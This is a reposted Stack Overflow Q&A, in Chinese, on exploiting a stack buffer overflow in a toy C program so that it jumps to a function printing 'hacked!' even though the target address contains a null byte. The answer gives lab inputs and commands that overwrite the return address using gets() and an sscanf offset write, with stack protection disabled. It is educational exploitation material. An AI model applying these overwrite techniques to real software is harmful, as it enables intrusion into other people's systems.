gpt4 book ai didi

c - 缓冲区溢出返回地址有 00

转载 作者:太空狗 更新时间:2023-10-29 15:04:55 24 4
gpt4 key购买 nike

我只是想让缓冲区溢出在 OSX(10.6) 上运行以下程序;我需要通过溢出缓冲区来执行 foo。

#include <string.h>
#include <stdio.h>
void foo() {
printf("hacked!");
}
int main(int argc, const char *argv[]) {
char s[100];
strcpy(s, argv[1]);
}

我将其编译为:-

$ gcc -o test test.c -arch i386

在反汇编test 时,我得到foo 的地址为0x00001eda。该漏洞没有按预期工作;可能是因为返回地址应该被包含 \x000x00001eda 溢出。

在目标地址有\x00的情况下,如何执行缓冲区溢出攻击?

最佳答案

strcpy() 函数在遇到零字节 (\x00) 时停止。由于您要写入堆栈的地址可能包含这样一个字节,因此可以接受与以下示例之一类似的操作。

免责声明

Due to my lack of access to a OS X 10.6 environment, the following code was developed and tested on Windows 7 64-bit using GCC 4.5.2 (MinGW 32-bit). I relied on gdb to assist in determining both the address of foo() and the location of the return address in the stack frame. Further explanation of how I use gdb to determine offset from the buffer to the return address is provided here.


例子1

代码

int main()
{
char s[4];
gets(s);
}

缓冲区的大小已减小,以便使用较短的输入文本来防止缓冲区溢出。

输出

gcc -g -fno-stack-protector -o test test.c
printf 1234567890abcdef\xc6\x13\x30 | ./test
hacked!


例子2

代码

int main(int argc, const char *argv[])
{
char s[100];
sscanf(argv[2], "%x", &s[atoi(argv[1])]);
}

使用 atoi() 直接指向返回地址并不是“缓冲区溢出”的好例子。但是,这是在堆栈帧中定位和修改返回地址的一个很好的练习。

输出

gcc -g -fno-stack-protector -o test test.c
./test 112 4013c6
hacked!

关于c - 缓冲区溢出返回地址有 00,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/5429672/

24 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com